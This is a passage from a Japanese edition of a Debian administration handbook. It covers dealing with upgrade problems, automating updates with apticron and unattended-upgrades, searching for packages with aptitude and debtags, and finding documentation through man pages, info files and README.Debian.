Debian メンテナの最大限の努力にも関わらず、システムのメジャーアップグレードは常に望んだ通りに順調に進むわけではありません。新しいソフトウェアバージョンは古いものと互換性がないかもしれません (たとえば、デフォルト動作やデータフォーマットが変わっているかもしれません)。また、いくつかのバグは Debian リリース前のテスト段階を経たにも関わらず見過ごされているかもしれません。

いくつかの問題を未然に防ぐために、**apt-listchanges** パッケージをインストールすることが可能です。**apt-listchanges** は、あるパッケージのアップグレード作業の開始時に、このパッケージのアップグレードを行うことで生じる可能性のある問題の情報を表示します。この情報はパッケージメンテナがまとめたもので、ユーザが内容を確認できるように /usr/share/doc/**package**/NEWS.Debian ファイルに含まれています。これらのファイルを (場合によっては **apt-listchanges** を通じて) 読めば、予期しない状況に驚かされることがなくなるでしょう。

あるソフトウェアの新しいバージョンが全く動かない場合があるかもしれません。これは通常、そのアプリケーションがそれほど人気ではない場合や十分にテストされていない場合に起こります。さらに、リリース直前の更新はそれまでに存在しなかった不具合を発生させる場合があり、この種の不具合は安定版がリリースされた後に見つかります。どちらの場合でも、最初にやることはバグ追跡システム https://bugs.debian.org/**package** でこの問題が既に報告されているか確認することです。まだ報告されていなければ、reportbug を使って自分で報告するべきです。既に報告されていれば、バグ報告と関連メッセージがバグに関連する情報の素晴らしいソースになります。

- パッチが既に存在し、バグ報告からそれを入手できる場合もあります。この場合、壊れたパッケージの修正されたバージョンを再コンパイルすることが可能です (第 15.1 節「ソースを使ったパッケージの再ビルド」422 ページをご覧ください)。
- バグ報告には問題に対する次善策が報告されており、報告に対する返信から問題の本質を理解できる場合もあります。
- さらに、メンテナが修正されたパッケージを用意して既に公開している場合もあります。

バグの重要度に依存して、パッケージの新しいバージョンが安定版リリースに対する新しい改訂版として用意されている場合もあります。この場合、修正されたパッケージは Debian アーカイブミラーの proposed-updates セクションから提供されます (第 6.1.2.3 節「提案された更新」105 ページを参照してく

ださい)。対応するエントリを一時的に sources.list に追加すれば、更新されたパッケージを apt や aptitude からインストールすることが可能です。

修正されたパッケージがまだ proposed-updates セクションから提供されていないこともあります。これは、安定版リリースマネージャによる妥当性の確認が終わっていないからです。パッケージが公開待ち状態にあるかをウェブページから確認できます。このウェブページに載せられたパッケージはまだ利用できませんが、少なくとも公開待ち状態であるか否かを確認できます。

➡ https://release.debian.org/proposed-updates/stable.html

6.7. システムを最新の状態に保つ

Debian ディストリビューションは活動的で、絶えず変化しています。変更のほとんどは**テスト版**と**不安定版**バージョンに対するものが多いですが、**安定版**も多くの場合セキュリティ関連の修正によって時々更新されます。システムでどんな Debian のバージョンを使っていたとしても、システムを最新の状態に保つのが通常得策です。そうすれば、最新の進化とバグ修正の恩恵を受けることが可能です。

利用できる更新を確認してアップグレードを実行するために日常的にツールを実行することはもちろん可能ですが、特に複数のマシンでこれを行う必要がある場合、このような反復作業は面白くありません。幸いなことに、多くの反復作業と同様この作業もある程度自動化が可能で、効果的な一連のツールが開発されています。

更新作業の自動化を担うツールの 1 つ目は apticron で、同名のパッケージに含まれます。apticron の主たる挙動は (cron を使って) 毎日スクリプトを実行することです。スクリプトは利用できるパッケージのリストを更新し、インストール済みパッケージが入手できる最新バージョンと異なる場合、そのようなパッケージのリストと新しいバージョンにおける修正点をメールで送信します。apticron の挙動は明らかに Debian **安定版**のユーザを対象にしています。なぜなら、より頻繁にパッケージが更新される Debian の他のディストリビューションでは毎日のメールがとても長くなるからです。更新が利用できるようになったら、apticron は自動的にそれらをダウンロードします。apticron はインストール作業を行いません。すなわち管理者が手作業でインストールを実行する必要があります。しかしながら、パッケージをダウンロードして手元 (APT のキャッシュ) に保存しておくことで、管理者は作業を迅速に行うことが可能です。

コンピュータを複数担当している管理者が保留中のアップグレードを通知されることの重要性を理解しているのは間違いありません。しかしながら、システムのアップグレードは相変わらずまだ退屈なものです。このような状況では /etc/cron.daily/apt スクリプト (**apt** パッケージに含まれます) が役に立ちます。/etc/cron.daily/apt スクリプトは cron によって毎日 (非対話的に) 実行されます。スクリプトの挙動を制御するためには APT 設定変数を使います (このため変数は /etc/apt/apt.conf.d/ 内のファイルに記載されます)。以下に主な変数を示します。

APT::Periodic::Update-Package-Lists このオプションを使えば、パッケージリストを更新する頻度 (日単位) を設定することが可能です。apticron ユーザならこの変数を設定しなくても大丈夫です。なぜなら apticron が設定するからです。

APT::Periodic::Download-Upgradeable-Packages このオプションを使えば、パッケージをダウンロードする頻度 (日単位) を設定することが可能です。apticron ユーザはこの変数を設定する必要はありません。

APT::Periodic::AutocleanInterval これは apticron が備えていない機能を担うオプションです。このオプションはどの程度の頻度で時代遅れのパッケージ (どのディストリビューションにも含まれないパッケージ) を APT キャッシュから削除するかを制御します。このオプションを使うことで APT キャッシュを合理的なサイズに保ち、キャッシュの削除作業について心配する必要がなくなります。

APT::Periodic::Unattended-Upgrade このオプションが有効化されると、毎日のスクリプトで unattended-upgrade (**unattended-upgrades** パッケージに含まれます) が実行さるようになります。これはその名前が示す通りいくつかのパッケージのアップグレード作業を自動化します (デフォルトでは、セキュリティ更新だけを処理しますが /etc/apt/apt.conf.d/50unattended-upgrades で挙動をカスタマイズできます)。このオプションを設定するには dpkg-reconfigure -plow unattended-upgrades を実行して debconf の助けを借りることに注意してください。

上記以外のオプションを使うことで、さらに精密なキャッシュ消去挙動を制御できます。それらのオプションをここに載せることはしませんが、詳しい説明は /etc/cron.daily/apt スクリプトを参照してください。

サーバではこれらのツールがとてもうまく動きますが、通常デスクトップユーザはより対話的なシステムを好みます。このため「グラフィカルデスクトップ環境」タスクは **gnome-packagekit** をインストールします (デスクトップ環境として GNOME を選択した場合)。**gnome-packagekit** パッケージは、更新が利用できるようになった時、デスクトップ環境の通知エリアにアイコンを表示します。さらに、表示されたアイコンをクリックすると gpk-update-viewer が実行されます。これは更新を実行する簡易化されたインターフェースです。利用できる更新を閲覧したり、関連するパッケージと対応する changelog エントリの短い説明文を読んだり、個々の場合に応じてその更新を適用するか否かを選択したりできます。

図 6.3 gpk-update-viewer を使ったアップグレード

6.8. 自動アップグレード

Falcot Corp は多くのコンピュータを使っているものの人手は不足しているため、管理者は可能な限り自動でアップグレードを行うように努力しています。アップグレード作業を担当しているプログラムは人間の介在がなくても実行されなければいけません。

6.8.1. dpkg の設定

既に言及した通り (補注「 設定ファイルの更新に関連する質問を回避する」85 ページを参照してください)、dpkg は設定ファイルの交換時に確認を行わないように設定できます (--force-confdef --force-confold オプションを使います)。しかしながら、人間が入力する必要が生じる状況は 3 種類考えられます。具体的に言えば、APT からの入力要求、debconf からの入力要求、コマンドラインを介したパッケージ設定スクリプトからの入力要求です。

6.8.2. APT の設定

APT からの入力要求に自動回答する設定は簡単です。つまり -y オプション (または --assume-yes) を使えば、APT の出すすべての質問に「yes」と答えたことになります。

6.8.3. debconf の設定

debconf からの入力要求に自動回答する設定はさらに詳細な説明が必要です。設計当初から debconf はユーザに対する質問の妥当性と分量を調整し、同時に質問の表示方法を制御することを目標に設計されました。そのため、debconf データベースに質問を登録する際には各質問に対して表示の妥当性を制御するための優先度を設定する必要があります。現在の優先度が質問に設定された優先度を超える場合、その質問が表示されます。debconf はユーザが回答しなかった質問は、(パッケージメンテナが定義した) デフォルトと同様に回答されたと仮定します。

自動回答に関連する残りの設定項目がフロントエンドの使うインターフェースです。数あるインターフェースの中でも noninteractive を選んだ場合、ユーザからの入力は完全に使用不能にされます。パッケージが有益な注意を表示しようとした場合、管理者にメールで通知されます。

debconf を再設定するには、**debconf** パッケージから提供される dpkg-reconfigure ツールを使ってください。debconf を再設定するコマンドは dpkg-reconfigure debconf です。ここで設定した値は、必要ならば環境変数を使って一時的に上書きできる点に注意してください (たとえば、DEBIAN_FRONTEND 環境変数は、debconf(7) マニュアルページで説明されている通り、インターフェースを制御します)。

6.8.4. コマンドラインインターフェースの制御

ユーザに入力を要求する最後の要素は dpkg が実行する設定スクリプトで、これは制御することが最も難しいものです。残念なことに設定スクリプトからの入力要求に自動回答するための標準的な解決策はありませんし、無回答以外に良い解決策はありません。

設定スクリプトからの入力要求に自動回答するための一般的な解決策は、**command** </dev/null のように標準入力を /dev/null の空内容にリダイレクトすることで標準入力を抑制するか、プログラムに改行文字を送り続けるかです。どちらの解決策も完全に信頼できるわけではありませんが、通常はこれらの解決策を取ればデフォルト回答が使われることになります。なぜなら、多くのスクリプトでは、応答のない場合はデフォルト回答を選択したことになるからです。

6.8.5. 奇跡の組み合わせ

上記の要素を組み合わせれば、小規模で比較的信頼できるスクリプトを設計することが可能です。これで自動アップグレードが可能になります。

例 6.4　非対話型のアップグレードスクリプト

```
export DEBIAN_FRONTEND=noninteractive
yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-
    ➥ confold" dist-upgrade
```

IN PRACTICE

Falcot Corp の場合

Falcot のコンピュータはさまざまな機種が混在するシステムで、それぞれのマシンが異なる役目を果たしています。そのため、管理者はそれぞれのコンピュータに対して最も適切な解決策を選択できます。

実際のところ、**Jessie** が動いているサーバでは上に挙げた「奇跡の組み合わせ」を設定して、システムを自動的に最新の状態に保っています。最も重要なサーバ (たとえばファイアウォール) では apticron を設定しています。そうすればアップグレードは管理者の監視の下で実行されるからです。

管理部局で使われるオフィスワークステーションでは **Jessie** が動いています。しかしながらこのワークステーションでは **gnome-packagekit** を使っています。そうすればユーザが自分でアップグレードを動作させることができるからです。このように設定した根拠は、明確な指示なしにアップグレードが実行された場合、コンピュータの挙動が突然変わってしまうかもしれないからです。こうなるとワークステーションの主なユーザは混乱するでしょう。

研究所では、最新のソフトウェアバージョンを駆使するために一部のコンピュータで**テスト版**を使っています。これらのコンピュータは自動的にアップグレードされません。管理者は APT を設定してアップグレードを準備するだけで、アップグレードを適用しません。従って、管理者が (手作業で) アップグレードを行う際には、パッケージリストの更新とパッケージのダウンロードという退屈な作業が終わっている状態であり、本当に必要なところだけに集中できます。

6.9. パッケージの検索

Debian には数多くのソフトウェアが含まれ、その数はさらに増加し続けています。このことが原因でパラドックスが生じます。すなわち Debian には通常多くの作業に適したツールが用意されているにも関わらず、無数のパッケージからその作業に適したツールを見つけることがとても難しくなります。適切なツールを検索する (発見する) ための良い方法がない点は長い間問題とされていました。幸いなことに、現在ではこの問題はほぼ解決されています。

最も平凡な検索方法は正確なパッケージ名を調べることです。apt show **package** で結果が返されたら、パッケージが存在するということです。不幸なことにこの方法では、パッケージ名を知っているか推測する必要があり、それは常に可能とは限りません。

TIP

パッケージ命名規則

いくつかのカテゴリに含まれるパッケージは慣習的な命名規則に基づいて命名されます。従って、この規則を知っておけば、正確なパッケージ名を推測できる場合があります。たとえば、Perl モジュールに関して言えば、XML::Handler::Composer と呼ばれるモジュールは命名規則に従うと **libxml-handler-composer-perl** のようにパッケージングされるべきであると定められています。また、Python から gconf システムを扱うためのライブラリは **python-gconf** としてパッケージングされています。不幸なことに、たとえパッケージメンテナが通常は上流開発者の選択に従おうとするとしても、すべてのパッケージに対する完全に一般的な命名規則を定義することは不可能です。

もう少しうまい検索パターンはパッケージ名の中をプレーンテキスト検索することですが、この方法も大きな制約を受けます。通常、パッケージ説明を検索すれば何らかの結果が得られるでしょう。すなわち、大体のパッケージはパッケージ名だけでなく詳細さに違いはあるものの詳しい説明文を備えているため、パッケージ説明文のキーワード検索はしばしば役に立ちます。apt-cache と axi-cache はパッケージ説明のキーワード検索を行う際に選ぶツールです。従って、たとえば apt-cache search video は「video」というキーワードがパッケージ説明に含まれるすべてのパッケージのリストを返します。

より複雑な検索を行うには、aptitude などのより強力なツールが必要です。aptitude を使うことで、パッケージのメタ情報フィールドを指定した論理演算表現を使って検索できます。たとえば、以下のコマンドはパッケージ名に kino が含まれ、パッケージの説明文にビデオが含まれ、メンテナの名前に paul が含まれるパッケージを検索します。

```
$ aptitude search kino~dビデオ~mpaul
p   kino   - デジタルビデオデータ用ノンリニア編集ツール
$ aptitude show kino
パッケージ: kino
状態: インストールされていません
バージョン: 1.3.4-2.1+b1
優先度: 特別
セクション: video
メンテナ: Paul Brossier <piem@debian.org>
アーキテクチャ: amd64
展開サイズ: 8,472 k
依存: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>=
        0.5.3), libavcodec56 (>= 6:11~beta1) | libavcodec-extra-56 (>=
        6:11~beta1), libavformat56 (>= 6:11~beta1), libavutil54 (>=
        6:11~beta1), libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4,
        libfontconfig1 (>= 2.11), libfreetype6 (>= 2.2.1), libgcc1 (>=
        1:4.1.1), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~),
        libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libice6 (>=
        1:1.0.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0),
        libpangocairo-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0),
        libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0 (>= 0.1.7),
        libsm6, libstdc++6 (>= 4.9), libswscale3 (>= 6:11~beta1), libx11-6,
        libxext6, libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4)
推奨: ffmpeg, curl
```

```
提案: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora
競合: kino-dvtitler, kino-timfx, kinoplus
置換: kino-dvtitler, kino-timfx, kinoplus
提供: kino-dvtitler, kino-timfx, kinoplus
説明: デジタルビデオデータ用ノンリニア編集ツール
 Kino で、DV カメラで録画された動画を記録、作成、編集、再生できるようになり
 ます。このプログラムには多くのキーボードコマンドがあり、動画内を高速に移動
 し編集できます。

 プラグイン集 kino-timfx, kino-dvtitler, kinoplus は、以前は個別のパッケージ
 として配布していましたが、現在は Kino に同梱しています。
ホームページ: http://www.kinodv.org/

タグ: field::arts, hardware::camera, implemented-in::c, implemented-in::c++,
      interface::x11, role::program, scope::application, suite::gnome,
      uitoolkit::gtk, use::editing, use::learning, works-with::video,
      x11::application
```

この検索は、3 つの基準すべてを満足するパッケージ、**kino**、を 1 つだけ返します。

このように複数条件を指定する検索はちょっと扱いにくいことが理由であまり使われません。そんなわけで、新しいタグ付けシステムが開発され、このシステムによって新しい検索方法が提供されました。パッケージには、「ファセット分類」として知られているさまざまな側面に従ってテーマ別に分類された、タグが付けられています。上に挙げた **kino** の場合、パッケージのタグによれば、Kino は Gnome ベースのソフトウェアで、動画データの処理に有用であり、主用途は編集であることがわかります。

ファセット分類されたタグは既知の必要性に関連するパッケージを検索するのに便利です。さらにたとえ大量の (少しの) パッケージがヒットした場合でも、残りの検索は手作業でできます。タグに基づく検索を行うには aptitude で ~G 検索パターンを使いますが、タグを管理しているサイトを見て回るほうがおそらく簡単です。

➡ http://debtags.alioth.debian.org/cloud/

works-with::video と use::editing タグを選ぶと、**kino** と **pitivi** 動画編集ソフトウェアを含む、一握りのパッケージがヒットします。タグ付けシステムは時間がたてばたつほど必ず使われるようになるでしょう。そしてパッケージマネージャはタグに基づく効率的な検索インターフェースを少しずつ提供するでしょう。

要約すると、検索したい内容の複雑さに依存して、最良の検索ツールも変わりうるということです。

- 数個のキーワードにマッチする特定のパッケージを探す場合、パッケージ名とパッケージ説明だけを検索対象にしている apt-cache がとても便利です。
- 検索条件にパッケージ間の関連性やたとえばメンテナの名前などのメタ情報を含めたい場合には、synaptic が役に立つでしょう。
- タグに基づいて検索したい場合、packagesearch が良いツールです。これは複数の条件 (パッケージに含まれるファイルの名前も含みます) に基づいて利用できるパッケージを検索する専用のグラフィカルインターフェースです。コマンドラインで使う場合は、axi-cache がぴったりでしょう。
- 最後に、論理演算を組み合わせた複雑な表現で検索したい場合、aptitude の検索パターン構文を使うことになるでしょう。これはいささか分かりにくいですが非常に強力です。さらに、aptitude はコマンドラインと対話型モードの両方で使えます。

キーワード

文書
問題の解決
ログファイル
README.Debian
マニュアル
info

章

7

問題の解決と関連情報の探索

目次

情報源となる文書 136　常套手段 140

管理者にとって最も重要な技能は、既知か未知かに関わらず、いかなる状況にも対処できる技能です。この章では遭遇した問題の原因を探し出すのにおそらく役立ついくつかの方法を紹介します。そうすれば、問題を解決できるようになるかもしれません。

7.1. 情報源となる文書

問題が起きた際に一体何が起きたのかを理解する前に、問題に関連しているプログラムがどのような役割を担っているかを理論的に知る必要があります。これを行う最良の方法はプログラムの文書を参照することです。しかし、それらの文書は数多くて広範囲に分散しているため、管理者は文書の置かれている場所をすべて知っておくべきです。

7.1.1. マニュアルページ

CULTURE

RTFM

RTFM という頭字語は「Read the F***ing Manual」を意味しますが、より敵意のない表現「Read the Fine Manual」に発展しました。このフレーズは新人の質問に (素っ気なく) 答える際に時々使われます。これはかなりぶっきらぼうなもので、文書を読んでなさそうな人に質問された時に感じる若干の苛立ちを表しています。この典型的な回答は、全く答えないか長々と腹を立てて答えるのに比べれば、より良いという人もいます (なぜなら、この回答は文書に探し求める情報が含まれていることを表しているからです)。

どんな場合でも、もし誰かから「RTFM」と答えられたら、腹を立てないことが通常懸命です。なぜなら、RTFM という回答はあなたが厄介者と思われている可能性を意味するからです。努力して RTFM と言われないようにした方がよいでしょう。また、必要な情報がマニュアルに載っていない場合もあるでしょう。このような場合はなるべく最初の質問でこの点について触れておくべきでしょう。さらにフォーラムに質問を投稿する前に、情報を見つけるために自分が行ったさまざまな段階を示すべきです。Eric Raymond の指針に従うことは、最もよくある間違いを避け、有用な答えを得るために良い方法です。

➨ `http://catb.org/~esr/faqs/smart-questions.html`

マニュアルページはどちらかと言えば素っ気なく見えるのですが、大量の不可欠な情報を含んでいます。それではマニュアルページを閲覧するコマンドを練習しましょう。単純に `man` **`manual-page`** と打ってください。コマンドのマニュアルページは通常、文書を探しているコマンドと同じ名前で閲覧することが可能です。たとえば、`cp` コマンドで使えるオプションを学ぶには、シェルプロンプトで `man cp` コマンドを入力してください (補注「 シェル、コマンドラインインタプリタ」136 ページを参照してください)。

BACK TO BASICS

シェル、コマンドラインインタプリタ

コマンドラインインタプリタは「シェル」とも呼ばれており、ユーザが入力するかスクリプトに書かれたコマンドを実行するプログラムです。対話型モードでは、シェルはプロンプトを表示します (プロンプトの末尾には、通常ユーザの場合 `$`、管理者の場合 `#` が付けられます)。この状態は新しいコマンドを読み取る準備ができたことを意味しています。シェルの使い方の基礎は付録 B「簡単な補習講座」449 ページで解説します。

デフォルトであり最もよく使われているシェルは bash (Bourne Again SHell) ですが、他のシェルには `dash`、`csh`、`tcsh`、`zsh` などがあります。

とりわけ注目すべきは、多くのシェルがプロンプトへの入力を補助する機能を備えている点です。たとえばコマンドやファイル名の補完 (補完は通常 tab キーを押すことで始動します) や以前のコマンドを再呼び出し (履歴管理) 機能を備えています。

man ページはコマンドラインから呼び出すことができるプログラムに関する文書というだけでなく、設定ファイル、システムコール、C 言語ライブラリ関数、その他に関する文書も備えています。しばしば同じ名前が異なる分類で使われている場合があります。たとえば、シェルの `read` コマンドは `read` システムコールと同じ名前です。そんなわけで、マニュアルページは各分類にセクション番号を付けて整理されています。

1. 第 1 セクションにはコマンドラインから実行できるコマンドに関する文書が含まれます。
2. 第 2 セクションにはシステムコール (カーネルから提供される関数) に関する文書が含まれます。
3. 第 3 セクションにはライブラリ関数 (システムライブラリから提供される関数) に関する文書が含まれます。
4. 第 4 セクションにはデバイスに関する文書が含まれます (Unix 系システムには特別なファイルがあり、通常 /dev/ ディレクトリに格納されています)。
5. 第 5 セクションには設定ファイル (書式や規約) に関する文書が含まれます。
6. 第 6 セクションにはゲームに関する文書が含まれます。
7. 第 7 セクションには一連のマクロと標準化規約に関する文書が含まれます。
8. 第 8 セクションにはシステム管理コマンドに関する文書が含まれます。
9. 第 9 セクションにはカーネルルーチンに関する文書が含まれます。

探しているマニュアルページのセクション番号を指定することも可能です。すなわち read システムコールに関する文書を見るには、man 2 read と入力してください。セクション番号を指定しなかった場合、指定した名前に関するマニュアルページが最初に見つかったセクションから内容が表示されます。そんなわけで、man shadow は shadow(5) を表示します。なぜなら、**shadow** に関するマニュアルページは第 1 セクションから第 4 セクションの間に存在しないからです。

TIP

whatis

マニュアルページ全体は見たくないけれども、探しているものが正しいか確認するために短い説明文は見たいという場合、単純に whatis **command** と入力してください。

```
$ whatis scp
scp (1)      - secure copy (remote file copy program)
```

ここで表示されている短い説明文はすべてのマニュアルページの最初に書かれている **NAME** 節に書かれています。

もちろん、コマンドの名前を知らなければ、マニュアルページは役に立ちません。コマンドの名前がわからない場合に役立つのが apropos コマンドです。apropos コマンドはマニュアルページ内、正確に言うと短い説明文内を検索します。それぞれのマニュアルページは基本的に 1 行の要旨から始まります。apropos はマニュアルページの要旨にキーワードを含むプログラムのマニュアルページのリストを返します。キーワードをうまく選べば、必要なコマンドの名前を見つけることができるでしょう。

例 7.1　apropos を使って cp を探す

```
$ apropos "copy file"
cp (1)               - copy files and directories
cpio (1)             - copy files to and from archives
gvfs-copy (1)        - Copy files
gvfs-move (1)        - Copy files
hcopy (1)            - copy files from or to an HFS volume
install (1)          - copy files and set attributes
ntfscp (8)           - copy file to an NTFS volume.
```

TIP

リンクを追いかけながら閲覧

多くのマニュアルページは通常最後に「SEE ALSO」節を設けています。「SEE ALSO」節では、類似するコマンドに関連する他のマニュアルページや外部文書を参照しています。最初の選択が最適でない場合、このようにして関連する文書を発見することが可能です。

man コマンドがマニュアルページを調べる唯一の方法というわけではありません。(KDE の) konqueror と (GNOME の) yelp プログラムも同じ用途に使うことが可能です。また、man2html パッケージが提供するウェブインターフェースもあり、ウェブブラウザからマニュアルページを閲覧することも可能です。man2html パッケージがインストールされているコンピュータで以下の URL を使ってください。

➡ http://localhost/cgi-bin/man/man2html

man2html ユーティリティを動かすにはウェブサーバが必要です。このため、man2html サービスをインストールするマシンは管理下にあるサーバの 1 台だけにするべきです。こうすることで、ローカルネットワークのユーザは全員 (非 Linux マシンでも) man2html サービスからの恩恵を受けることができますし、HTTP サーバを各ワークステーションにセットアップする必要がなくなります。man2html サービスをインストールしたマシンに他のネットワークからもアクセスできる場合、man2html サービスにアクセスできるのはローカルネットワークのユーザだけに制限することが望ましいです。

DEBIAN POLICY

必要な man ページ

Debian の提供するプログラムは必ずマニュアルページを備えています。上流開発者がマニュアルページを用意していない場合、Debian パッケージメンテナが少なくとも文書の原本の場所を読者に伝えるために最低限のページを書くのが普通です。

7.1.2. **info** 文書

これまでずっと GNU プロジェクトはほとんどのプログラムのマニュアルを **info** フォーマットで書き続けてきました。そのため、多くのマニュアルページでは対応する **info** 文書を参照することが求められています。**info** フォーマットにはいくつかの利点がありますが、**info** 文書を表示するためにデフォルトで用意されているプログラム (これは info と呼ばれています) は若干理解に苦労するものです。info の代わりに pinfo (**pinfo** パッケージに含まれます) を使うのが賢明かもしれません。

info 文書は階層的な構造をしており、pinfo をパラメータなしで実行した場合、最初の階層から利用できるノードのリストが表示されます。通常、ノードには対応するコマンドの名前が付けられています。

pinfo でノード間を移動するには、矢印キーを使います。もう 1 つの方法として、グラフィカルブラウザを使うこともできます。これはずっとユーザフレンドリーな方法かもしれません。**info** 文書に対応するグラフィカルブラウザとして、先に紹介した konqueror と yelp があります。さらに info2www はウェブインターフェースを提供します。

➡ http://localhost/cgi-bin/info2www

info システムは man ページシステムと異なり翻訳に適さないシステムであるという点に注意してください。そんなわけで、**info** 文書はほとんど常に英語で書かれています。しかしながら、pinfo プログラムに対して存在しない **info** ページを表示するよう要求した場合、プログラムは同名の **man** ページを (存在すれば) 表示します。これは翻訳されているかもしれません。

7.1.3. 独自の文書

各パッケージには独自の文書が含まれています。最も貧弱な文書しか持たないプログラムの場合でも、興味深く重要な情報を含む README ファイルは提供されています。README ファイルは /usr/share/doc/**package**/ ディレクトリにインストールされます (ここで **package** はパッケージ名を示します)。README ファイルのサイズが著しく大きな場合、README ファイルはプログラムのメインパッケージに含まれないかもしれません。この場合、通常 **package**-doc と名付けられた専用の文書パッケージに含まれています。メインパッケージは通常文書パッケージを推奨します。そうすれば、ユーザが簡単に文書を見つけられるからです。

/usr/share/doc/**package**/ ディレクトリには Debian の配布するいくつかのファイルが含まれています。これらのファイルは、ソフトウェアを昔ながらの方法でインストールした場合と比較して、パッケージからインストールした場合に固有の特殊性および改良点を具体的に述べることで、README を補完しています。README.Debian ファイルには、Debian ポリシーに適合させるために行ったすべての変更が書かれています。changelog.Debian.gz ファイルには、パッケージに対して行われた変更履歴が書かれています。すなわち、このファイルは挙動が違う 2 つのインストール済みバージョンの間でどのような変更が行われたかを理解するのにとても役立ちます。最後に、NEWS.Debian.gz ファイルが含まれる場合があります。このファイルには、プログラムに対して行われた修正のうち、管理者に直接関わる可能性のある主な修正が書かれています。

7.1.4. ウェブサイト

多くの場合、フリーソフトウェアプログラムはソフトウェアを配布して開発者とユーザのコミュニティを作るためのウェブサイトを持っています。これらのサイトには、さまざまな形態で関連する情報がたくさん載せられています。ここで情報とは、公式文書、FAQ (よくある質問)、メーリングリストアーカイブなどです。多くの場合、あなたが直面するであろう問題は既に何度も質問されている問題です。このため、FAQ かメーリングリストアーカイブに問題に対する解決策があるかもしれません。関連するページを素早く発見するには、検索エンジンをうまく使いこなす (検索対象をそのプログラム専用のインターネットドメインまたはサブドメインに限定する) と非常に有益です。検索でヒットしたページ数が多すぎたり、検索結果に探しているものが含まれなければ、キーワード **debian** を追加することにより、検索結果を絞り込むか関連する情報に狙いを定めることが可能です。

TIPS

エラーから解決策へ

ソフトウェアが極めて特殊なエラーメッセージを返す場合、検索エンジンにそのままエラーメッセージを入力してください (メッセージは二重引用符 " で囲んでください。こうすることで、メッセージに含まれる単語を個別に検索するのではなく、メッセージ全体を検索します)。多くの場合、検索ヒットした 1 番目の結果から必要な答えが見つかるでしょう。

一般的なエラーメッセージが返されることもあります。たとえば「Permission denied」などの場合です。「Permission denied」が返された場合、関連する要素 (ファイル、ユーザ ID、グループなど) のパーミッションを確認するのが最も良い方法です。

ソフトウェアのウェブサイトのアドレスがわからない場合、さまざまな手段でそれを知ることができます。最初に、パッケージのメタ情報を表示して (apt-cache show **package**) Homepage フィールドがあるか確認してください。別の方法として、パッケージ説明文にプログラムの公式サイトへのリンクが載っているかもしれません。URL が見つからなければ、/usr/share/doc/**package**/copyright を確認してください。Debian メンテナは通常このファイルの中に、プログラムのソースコードを手に入れた場所を示しており、これこそが探しているウェブサイトのものである可能性が高いです。それでもなおウェブサイトがわからない場合、たと

えば FSF のフリーソフトウェアディレクトリなどのフリーソフトウェアディレクトリを確認するか、Google、DuckDuckGo、Yahoo などの検索エンジンで直接検索してください。

➡ `https://directory.fsf.org/wiki/Main_Page`

また、Debian wiki も確認するほうが良いかもしれません。Debian wiki は共同ウェブサイトで、誰でも、単なる訪問者でさえも、ブラウザから直接提案を出すことが可能です。Debian wiki はプロジェクトを設計したりプロジェクトの方向性を決定する管理者、協力し合って文書を書くことで知識を共有したいユーザから使われます。

➡ `http://wiki.debian.org/`

7.1.5. チュートリアル (**HOWTO**)

HOWTO は具体的かつ段階的に所定の目標を達成する「手順」を記述する文書です。目標のカバーする領域は比較的多岐にわたりますが、事実上技術的な目標であることが多いです。ここで技術的な目標とはたとえば IP マスカレードの構成、ソフトウェア RAID の設定、Samba サーバのインストールなどがあります。HOWTO はあるテクノロジーを導入する際に起こりうるすべての潜在的な問題に対処できるように書かれていることが多いです。

Linux Documentation Project (LDP) は数多くの HOWTO を管理しており、LDP のウェブサイトには LDP の管理する HOWTO 文書がすべてホストされています。

➡ `http://www.tldp.org/`

LDP の管理している HOWTO 文書の内容は話半分に聞くべきです。なぜなら文書が書かれたのは何年も前ということが多いからです。さらに文書に含まれる情報が古いこともあります。翻訳された文書の場合、この傾向はより強くなります。元文書の新しいバージョンが公開されたところで、対応する翻訳文書が定期的に更新されるわけでもなければ、即時に更新されるわけでもないからです。翻訳はボランティアが行っておりいかなる制限も受けません。

7.2. 常套手段

この節の目的は、管理者が頻繁に実行する特定の操作に関する、いくつかの一般的なヒントを示すことです。もちろんこれらの手順は包括的にすべての考え得る場合をカバーするものではありませんが、より困難な状況に直面した際の出発点として機能します。

DISCOVERY
非英語の文書

多くの場合、非英語に翻訳された文書は対応するパッケージ名の後ろに **-lang** を付けた名前の別パッケージとして提供されています (ここで **lang** は 2 文字の ISO 言語コードです)。

たとえば、**apt-howto-ja** パッケージには **APT** に関する HOWTO の日本語翻訳が含まれています。同様に、**debian-reference-ja** パッケージは Debian に関するリファレンスガイド (最初 Osamu Aoki が英語で書いた文書) の日本語版です。

7.2.1. プログラムの設定

未知のパッケージを設定する場合、段階を追って進まなければいけません。最初に、パッケージメンテナの書いた文書を読んでください。/usr/share/doc/**package**/README.Debian を読むことで、そのソフトウェアを簡単に使うための特別規則を学ぶことが可能です。このファイルには、プログラムの元の挙動 (HOWTO などの一般的な文書に書かれている挙動) からの違いが書かれているため、必ず読まなければいけない場合があります。またこのファイルには、ありふれた問題で時間を無駄にするのを避けるために、最も一般的なエラーの詳細も書かれています。

その後、ソフトウェアの公式文書を確認してください。既存のさまざまな文書源を見つける方法は第 7.1 節「情報源となる文書」136 ページを参照してください。dpkg -L **package** コマンドでパッケージに含まれるファイルのリストが表示されます。さらに、このコマンドを使えば、利用できる文書 (と同時に /etc/ に格納された設定ファイル) を素早く特定することも可能です。dpkg -s **package** でパッケージのメタ情報が表示されるので、そこから推奨パッケージや提案パッケージが分かります。さらにそこから、ソフトウェアの設定を簡単に行うための文書またはユーティリティを見つけることも可能です。

最後に、設定ファイルには通常、各設定項目に関して設定できる値をそれぞれ詳細に説明した説明用コメントが数多く書かれています。このため、利用できる行を選んで有効化するだけで十分な場合もあります。また、設定ファイルの例が /usr/share/doc/**package**/examples/ ディレクトリの中に格納されている場合もあります。設定ファイルの例は、自分の設定ファイルのたたき台になります。

